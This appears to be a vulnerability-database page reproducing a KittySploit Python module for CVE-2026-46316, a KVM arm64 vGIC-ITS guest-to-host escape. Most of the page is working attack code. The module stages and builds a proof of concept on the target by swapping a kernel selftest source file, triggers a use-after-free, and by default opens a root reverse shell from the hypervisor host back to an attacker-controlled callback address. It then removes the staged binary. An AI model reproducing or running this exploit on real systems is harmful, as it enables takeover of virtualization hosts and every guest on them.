Lucene search
+L

KVM ARM64 vGIC-ITS Guest Escape (CVE-2026-46316)

🗓️ 09 Aug 2026 10:07:00Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 2 Views

KVM ARM64 vGIC-ITS guest escape via vgic_its_invalidate_cache double-put UAF.

Related
Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""KVM/arm64 vGIC-ITS guest-to-host escape (CVE-2026-46316 / ITScape)."""

from __future__ import annotations

import os
import shlex
import time
from pathlib import Path

from kittysploit import *
from lib.exploit.handler import Reverse
from lib.post.linux.kvm_host_session import (
    ITSCAPE_CALLBACK,
    PAYLOAD_MARKER,
    PAYLOAD_REVERSE_SHELL,
    callback_lhost,
    callback_lport,
    callback_script_body,
    itscape_host_command,
    patch_itscape_source,
    payload_mode,
    snapshot_session_ids,
    stage_callback_script,
    wait_for_new_sessions,
)
from lib.post.linux.system import System
from lib.post.linux.session import LinuxSessionMixin

_SELFTEST_TEST = "vgic_lpi_stress"
_SELFTEST_C = f"{_SELFTEST_TEST}.c"


class Module(Post, Reverse, System, LinuxSessionMixin):
    __info__ = {
        "name": "KVM ARM64 vGIC-ITS Guest Escape (CVE-2026-46316)",
        "description": (
            "Runs the ITScape PoC (vgic_its_invalidate_cache double-put UAF) on a KVM/arm64 "
            "hypervisor host via /dev/kvm. Default payload starts a reverse TCP shell as root "
            "on the host (new KittySploit session). Marker-only mode creates /ITScape for lab "
            "verification."
        ),
        "author": ["Hyunwoo Kim (@v4bel)", "KittySploit Team"],
        "cve": ["CVE-2026-46316"],
        "platform": [Platform.LINUX],
        "arch": [Arch.ARM64],
        "session_type": [SessionType.SHELL, SessionType.SSH],
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2026-46316",
        ],
        "tags": ["kvm", "arm64", "vgic", "guest-escape", "manage"],
        "agent": {
            "risk": "intrusive",
            "effects": ["active_exploitation"],
            "expected_requests": 3,
            "reversible": False,
            "approval_required": True,
            "produces": ["risk_signals"],
            "cost": 2.5,
            "noise": 0.9,
            "value": 0.9,
            "requires": {
                "capabilities_any": ["shell"],
                "capabilities_all": [],
            },
            "chain": {
                "consumes_capabilities": ["shell"],
                "produces_capabilities": ["shell"],
                "option_bindings": {"payload": PAYLOAD_REVERSE_SHELL},
                "suggested_followups": [],
            },
        },
    }

    remote_bin = OptString(
        "/tmp/.ks_kvm46316/poc",
        "Remote path for the compiled PoC binary",
        required=True,
    )
    kernel_src = OptString(
        "",
        "Linux kernel source tree on target (tools/testing/selftests/kvm build)",
        required=False,
    )
    success_path = OptString("/ITScape", "Host file created on successful escape", required=False)
    payload = OptChoice(
        PAYLOAD_REVERSE_SHELL,
        "Host payload: reverse_shell opens root callback session; marker only touches success_path",
        required=False,
        choices=[PAYLOAD_REVERSE_SHELL, PAYLOAD_MARKER],
    )
    callback_host = OptString(
        "",
        "IP/host the KVM host can reach for reverse shell (default: lhost)",
        required=False,
    )
    wait_seconds = OptInteger(
        20,
        "Seconds to wait for host reverse-shell callback after PoC trigger",
        required=False,
    )
    vcpus = OptInteger(4, "PoC -v vCPU count (max ~7 with fixed 2nd ITS GPA)", required=False)
    devices = OptInteger(128, "PoC -d device count", required=False)
    events = OptInteger(1024, "PoC -e events per device", required=False)
    gsync = OptInteger(0, "PoC -g extra GUEST_SYNC drain per WWW sweep", required=False)
    use_remote_cache = OptBool(True, "Reuse cached binary on target for this kernel release", required=False)
    clear_cache = OptBool(False, "Delete remote cache for this kernel before run", required=False)
    cleanup = OptBool(True, "Remove staged run-path binary after execution", required=False)
    timeout = OptInteger(200, "PoC execution timeout in seconds", required=False)
    confirm = OptBool(False, "Confirm intentional guest-to-host escape attempt", required=True)

    @staticmethod
    def _repo_root() -> Path:
        return Path(__file__).resolve().parents[5]

    def _exploit_dir(self) -> Path:
        return self._repo_root() / "data" / "exploits" / "CVE-2026-46316"

    @staticmethod
    def _as_bool(value) -> bool:
        if isinstance(value, bool):
            return value
        return str(value).strip().lower() in ("1", "true", "yes", "y", "on")

    def _opt_int(self, val, default: int, minimum: int | None = None) -> int:
        return self.linux_int_opt(val, default, minimum)

    def _payload_mode(self) -> str:
        return payload_mode(getattr(self.payload, "value", self.payload))

    def _prepare_poc_source(self, success: str) -> str:
        lhost = callback_lhost(self, str(self.callback_host or "").strip())
        lport = callback_lport(self)
        if not lhost:
            raise ValueError("lhost or callback_host is required for reverse_shell payload")
        body = callback_script_body(lhost, lport, success)
        if not stage_callback_script(self, ITSCAPE_CALLBACK, body):
            raise RuntimeError(f"Could not stage host callback script at {ITSCAPE_CALLBACK}")
        print_status(
            f"Staged host callback script ({ITSCAPE_CALLBACK}) -> {lhost}:{lport} as root via UMH."
        )
        raw = (self._exploit_dir() / "poc.c").read_text(encoding="utf-8")
        return patch_itscape_source(raw, itscape_host_command())

    def _target_kernel_release(self) -> str:
        return (self.linux_execute("uname -r 2>/dev/null", pty=False) or "").strip()

    def _cache_root(self, remote_bin: str) -> str:
        base = os.path.dirname(remote_bin) or "/tmp/.ks_kvm46316"
        return f"{base.rstrip('/')}/cache"

    def _cache_bin_path(self, remote_bin: str, kver: str) -> str:
        safe = kver.replace("/", "_")
        return f"{self._cache_root(remote_bin)}/{safe}/poc"

    def _prebuilt_local(self, kver: str) -> Path | None:
        root = self._exploit_dir() / "prebuilt"
        for candidate in (root / kver / "poc", root / "aarch64" / "poc"):
            if candidate.is_file():
                return candidate
        return None

    def _remote_cache_valid(self, cache_bin: str, kver: str) -> bool:
        qbin = shlex.quote(cache_bin)
        qkver = shlex.quote(kver)
        qstamp = shlex.quote(f"{cache_bin}.kver")
        out = self.linux_execute(
            f"test -s {qbin} && test -x {qbin} && test -f {qstamp} && "
            f"[ \"$(cat {qstamp} 2>/dev/null)\" = {qkver} ] && echo OK || echo MISS",
            pty=False,
        )
        return "OK" in (out or "")

    def _stamp_remote_cache(self, cache_bin: str, kver: str) -> None:
        qstamp = shlex.quote(f"{cache_bin}.kver")
        qkver = shlex.quote(kver)
        self.linux_execute(f"printf '%s' {qkver} > {qstamp}", pty=False)

    def _save_to_remote_cache(
        self,
        cache_bin: str,
        kver: str,
        *,
        data: bytes | None = None,
        src_bin: str | None = None,
    ) -> bool:
        qdir = self.linux_shell_quote(os.path.dirname(cache_bin))
        self.linux_execute(f"mkdir -p {qdir}", pty=False)
        if data is not None:
            if not self.linux_upload_bytes(data, cache_bin, executable=True, pty=False):
                return False
        elif src_bin:
            qsrc = shlex.quote(src_bin)
            qdst = shlex.quote(cache_bin)
            self.linux_execute(f"cp -f {qsrc} {qdst} && chmod +x {qdst}", pty=False)
            if not self.linux_file_exists(cache_bin):
                return False
        else:
            return False
        self._stamp_remote_cache(cache_bin, kver)
        print_success(
            f"Cached PoC on target ({self.linux_remote_file_size(cache_bin)} bytes, kver={kver})."
        )
        return True

    def _copy_remote_bin(self, src: str, dst: str) -> bool:
        if os.path.normpath(src) == os.path.normpath(dst):
            return self.linux_file_exists(src)
        qsrc = shlex.quote(src)
        qdst = shlex.quote(dst)
        qd = self.linux_shell_quote(os.path.dirname(dst) or ".")
        self.linux_execute(f"mkdir -p {qd}", pty=False)
        self.linux_execute(f"cp -f {qsrc} {qdst} && chmod +x {qdst}", pty=False)
        return self.linux_file_exists(dst)

    def _clear_remote_cache(self, remote_bin: str, kver: str) -> None:
        cache_bin = self._cache_bin_path(remote_bin, kver)
        qdir = shlex.quote(os.path.dirname(cache_bin))
        self.linux_execute(f"rm -rf {qdir}", pty=False)
        print_status(f"Remote cache cleared for kernel {kver}.")

    def _selftest_dir(self, kernel_src: str) -> str:
        return f"{kernel_src.rstrip('/')}/tools/testing/selftests/kvm"

    def _build_via_selftests(
        self,
        remote_work: str,
        kernel_src: str,
        *,
        poc_bytes: bytes | None = None,
    ) -> str | None:
        poc_local = self._exploit_dir() / "poc.c"
        if poc_bytes is None and not poc_local.is_file():
            print_error(f"Missing bundled source: {poc_local}")
            return None

        st = self._selftest_dir(kernel_src)
        qst = shlex.quote(st)
        qwork = shlex.quote(remote_work)
        qbackup = shlex.quote(f"{remote_work}/.vgic_lpi_stress.c.bak")

        out = self.linux_execute(
            f"test -d {qst}/lib && test -f {qst}/{_SELFTEST_C} && echo OK || echo MISSING",
            pty=False,
        )
        if "OK" not in (out or ""):
            print_error(
                f"KVM selftests not found under {st} (need full kernel tree with "
                f"tools/testing/selftests/kvm/{_SELFTEST_C})."
            )
            return None

        self.linux_execute(f"mkdir -p {qwork}", pty=False)
        remote_poc = f"{remote_work.rstrip('/')}/poc.c"
        upload = poc_bytes if poc_bytes is not None else poc_local.read_bytes()
        print_status(f"Uploading poc.c ({len(upload)} bytes)...")
        if not self.linux_upload_bytes(upload, remote_poc, pty=False):
            return None

        built = f"{remote_work.rstrip('/')}/{_SELFTEST_TEST}"
        qbuilt = shlex.quote(built)
        qpoc = shlex.quote(remote_poc)
        qorig = shlex.quote(f"{st}/{_SELFTEST_C}")
        qswap = shlex.quote(f"{st}/.{_SELFTEST_C}.ks_swap")

        print_status(f"Building via KVM selftests (make {_SELFTEST_TEST})...")
        script = (
            f"set -e; "
            f"cp -f {qorig} {qbackup}; "
            f"cp -f {qpoc} {qorig}; "
            f"cd {qst} && make {_SELFTEST_TEST} 2>&1; "
            f"rc=$?; "
            f"if [ -x {qst}/{_SELFTEST_TEST} ]; then "
            f"  cp -f {qst}/{_SELFTEST_TEST} {qbuilt}; "
            f"elif [ -x {qst}/../kselftest/{_SELFTEST_TEST} ]; then "
            f"  cp -f {qst}/../kselftest/{_SELFTEST_TEST} {qbuilt}; "
            f"else "
            f"  found=$(find {qst} -maxdepth 3 -name {_SELFTEST_TEST} -type f -executable 2>/dev/null | head -n1); "
            f"  test -n \"$found\" && cp -f \"$found\" {qbuilt}; "
            f"fi; "
            f"mv -f {qbackup} {qorig}; "
            f"test -x {qbuilt} || exit $rc; "
            f"echo BUILD_OK"
        )
        out = self.linux_execute(script, timeout=600, pty=False)
        if out:
            print_info(out)
        if not self.linux_file_exists(built):
            print_error(f"Selftest build failed — {_SELFTEST_TEST} binary not found.")
            return None
        print_success(f"Built {_SELFTEST_TEST} ({self.linux_remote_file_size(built)} bytes).")
        return built

    def _resolve_prebuilt_bytes(self, kver: str, *, load: bool) -> tuple[bytes | None, str]:
        path = self._prebuilt_local(kver)
        if path:
            if load:
                data = path.read_bytes()
                print_success(f"Using framework prebuilt ({len(data)} bytes, {path.name}).")
                return data, "prebuilt"
            return None, "prebuilt"
        return None, "remote"

    def _ensure_poc_bin(
        self,
        remote_bin: str,
        kver: str,
        *,
        poc_source: str | None = None,
    ) -> tuple[bool, str]:
        cache_bin = self._cache_bin_path(remote_bin, kver)
        remote_work = os.path.dirname(remote_bin) or "/tmp/.ks_kvm46316"
        use_cache = poc_source is None and self._payload_mode() == PAYLOAD_MARKER
        poc_bytes = poc_source.encode("utf-8") if poc_source is not None else None

        if self._as_bool(self.clear_cache):
            self._clear_remote_cache(remote_bin, kver)

        if use_cache and self._as_bool(self.use_remote_cache) and self._remote_cache_valid(cache_bin, kver):
            print_success(
                f"Remote cache hit ({self.linux_remote_file_size(cache_bin)} bytes, kver={kver})."
            )
            if self._copy_remote_bin(cache_bin, remote_bin):
                return True, "remote_cache"
            print_warning("Remote cache copy failed; rebuilding.")

        if use_cache:
            prebuilt, mode = self._resolve_prebuilt_bytes(kver, load=True)
            if prebuilt is not None:
                if self._save_to_remote_cache(cache_bin, kver, data=prebuilt):
                    if self._copy_remote_bin(cache_bin, remote_bin):
                        return True, mode
                if self.linux_upload_bytes(prebuilt, remote_bin, executable=True, pty=False):
                    return True, mode
                return False, mode

        kernel_src = str(self.kernel_src or "").strip()
        if not kernel_src:
            print_error(
                "No prebuilt binary and KERNEL_SRC not set. Either add "
                f"data/exploits/CVE-2026-46316/prebuilt/{kver}/poc (or prebuilt/aarch64/poc), "
                "or set KERNEL_SRC to a full Linux tree on the target."
            )
            return False, "remote"

        built = self._build_via_selftests(remote_work, kernel_src, poc_bytes=poc_bytes)
        if not built:
            return False, "selftest"
        if use_cache and not self._save_to_remote_cache(cache_bin, kver, src_bin=built):
            print_warning("Build succeeded but cache write failed.")
        if not self._copy_remote_bin(built, remote_bin):
            return False, "selftest"
        return True, "selftest"

    def _poc_argv(self) -> str:
        return " ".join(
            [
                shlex.quote(f"-v{self._opt_int(self.vcpus, 4, minimum=2)}"),
                shlex.quote(f"-d{self._opt_int(self.devices, 128, minimum=1)}"),
                shlex.quote(f"-e{self._opt_int(self.events, 1024, minimum=1)}"),
                shlex.quote(f"-g{self._opt_int(self.gsync, 0, minimum=0)}"),
            ]
        )

    def _has_kvm_access(self) -> bool:
        out = self.linux_execute(
            "test -c /dev/kvm && (test -r /dev/kvm && test -w /dev/kvm) && echo OK || echo NO",
            pty=False,
        )
        return "OK" in (out or "")

    def check(self):
        if not self.linux_require_linux():
            return False
        if not self._as_bool(self.confirm):
            print_error("Refusing guest escape without confirm=true")
            return False

        arch = (self.linux_execute("uname -m 2>/dev/null", pty=False) or "").strip().lower()
        if arch not in ("aarch64", "arm64"):
            print_error(f"Architecture {arch or 'unknown'} is not supported (need arm64/aarch64).")
            return False

        if not (self._exploit_dir() / "poc.c").is_file():
            print_error(f"Missing bundled source: {self._exploit_dir() / 'poc.c'}")
            return False

        kver = self._target_kernel_release()
        if not kver:
            print_error("Could not read target kernel release (uname -r).")
            return False

        if not self._has_kvm_access():
            print_error("/dev/kvm is missing or not readable/writable for this session.")
            return False

        if self._payload_mode() == PAYLOAD_REVERSE_SHELL:
            lhost = callback_lhost(self, str(self.callback_host or "").strip())
            if not lhost:
                print_error(
                    "reverse_shell payload requires lhost (or callback_host) reachable from the KVM host."
                )
                return False
            kernel_src = str(self.kernel_src or "").strip()
            if not kernel_src:
                print_error(
                    "reverse_shell payload requires KERNEL_SRC on the target for a patched selftest build."
                )
                return False
            st = self._selftest_dir(kernel_src)
            qst = shlex.quote(st)
            out = self.linux_execute(
                f"test -d {qst}/lib && test -f {qst}/{_SELFTEST_C} && echo OK || echo MISSING",
                pty=False,
            )
            if "OK" not in (out or ""):
                print_error(
                    f"KERNEL_SRC selftests missing under {st} "
                    f"(need tools/testing/selftests/kvm/{_SELFTEST_C})."
                )
                return False
            print_status(
                f"Host callback target {lhost}:{callback_lport(self)} — listener starts at run time."
            )
            print_status(
                "Patched PoC will be rebuilt via KVM selftests for reverse_shell "
                "(prebuilt and remote cache are skipped)."
            )
        else:
            _, prebuilt_mode = self._resolve_prebuilt_bytes(kver, load=False)
            cache_ok = False
            if self._as_bool(self.use_remote_cache):
                cache_bin = self._cache_bin_path(
                    str(self.remote_bin).strip() or "/tmp/.ks_kvm46316/poc", kver
                )
                cache_ok = self._remote_cache_valid(cache_bin, kver)

            kernel_src = str(self.kernel_src or "").strip()
            if prebuilt_mode != "prebuilt" and not cache_ok and not kernel_src:
                print_warning(
                    "No framework prebuilt or remote cache — set KERNEL_SRC for on-target selftest build."
                )

        print_warning(
            "CVE-2026-46316 targets Linux v7.1-rc6 arm64 with hardcoded kernel addresses. "
            "Other builds need address re-derivation in poc.c."
        )
        if self._payload_mode() == PAYLOAD_MARKER:
            print_status(
                "Guest-to-host escape — success creates "
                f"{str(self.success_path).strip() or '/ITScape'} as root (marker mode)."
            )
        return True

    def run(self):
        if not self.check():
            return False

        kver = self._target_kernel_release()
        remote_bin = str(self.remote_bin).strip() or "/tmp/.ks_kvm46316/poc"
        success = str(self.success_path).strip() or "/ITScape"
        qsuccess = shlex.quote(success)
        mode = self._payload_mode()
        before_sessions: set[str] = set()
        poc_source: str | None = None

        if mode == PAYLOAD_REVERSE_SHELL:
            before_sessions = snapshot_session_ids(self.framework)
            if not self.start_handler():
                print_error("Could not start reverse TCP listener for host callback.")
                return False
            time.sleep(1.0)
            try:
                poc_source = self._prepare_poc_source(success)
            except (ValueError, RuntimeError) as exc:
                print_error(str(exc))
                self.stop_handler()
                return False

        ok, source = self._ensure_poc_bin(remote_bin, kver, poc_source=poc_source)
        if not ok:
            if mode == PAYLOAD_REVERSE_SHELL:
                self.stop_handler()
            return False
        if source != "remote_cache":
            print_status(f"PoC staged from {source}.")

        argv = self._poc_argv()
        qbin = shlex.quote(remote_bin)
        cmd = f"{qbin} {argv}".strip()
        run_timeout = max(60, self._opt_int(self.timeout, 200, minimum=60))

        print_warning(f"Running ITScape PoC (timeout={run_timeout}s): {cmd}")
        if mode == PAYLOAD_REVERSE_SHELL:
            print_status(
                "UMH will run staged callback as root on the host; watch for a new shell session."
            )
        else:
            print_status("PoC forks — parent polls for host-side success marker...")

        out = self.linux_execute(cmd, timeout=run_timeout, pty=False)
        if out:
            print_info(out)

        success_flag = False
        if mode == PAYLOAD_REVERSE_SHELL:
            wait_s = max(5, self._opt_int(self.wait_seconds, 20, minimum=5))
            new_sessions = wait_for_new_sessions(self.framework, before_sessions, wait_s)
            if new_sessions:
                print_success(
                    f"Host root callback session(s): {', '.join(new_sessions)} — use 'sessions' to interact."
                )
                success_flag = True
            else:
                print_warning(
                    f"No callback within {wait_s}s. Ensure {callback_lhost(self, str(self.callback_host or '').strip())}:"
                    f"{callback_lport(self)} is reachable from the KVM host."
                )

        marker = self.linux_execute(f"test -f {qsuccess} && ls -la {qsuccess} || echo MISSING", pty=False)
        if marker and "MISSING" not in marker:
            print_success(f"Host escape indicator present: {success}")
            print_info(marker.strip())
            success_flag = True
        elif out and ("[+] /ITScape created" in out or "[+] /ITScape" in out):
            print_success("PoC reported successful host-side file creation.")
            success_flag = True
        elif mode == PAYLOAD_MARKER and not success_flag:
            print_warning(
                f"Success marker {success!r} not found. Heap spray / cross-cache is probabilistic — retry."
            )

        if self._as_bool(self.cleanup):
            self.linux_execute(f"rm -f {qbin}", pty=False)
            print_status("Staged run-path binary removed (remote cache preserved).")

        return success_flag

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

09 Aug 2026 10:07Current
7.3High risk
Vulners AI Score7.3
CVSS 3.19.3
EPSS0.00204
2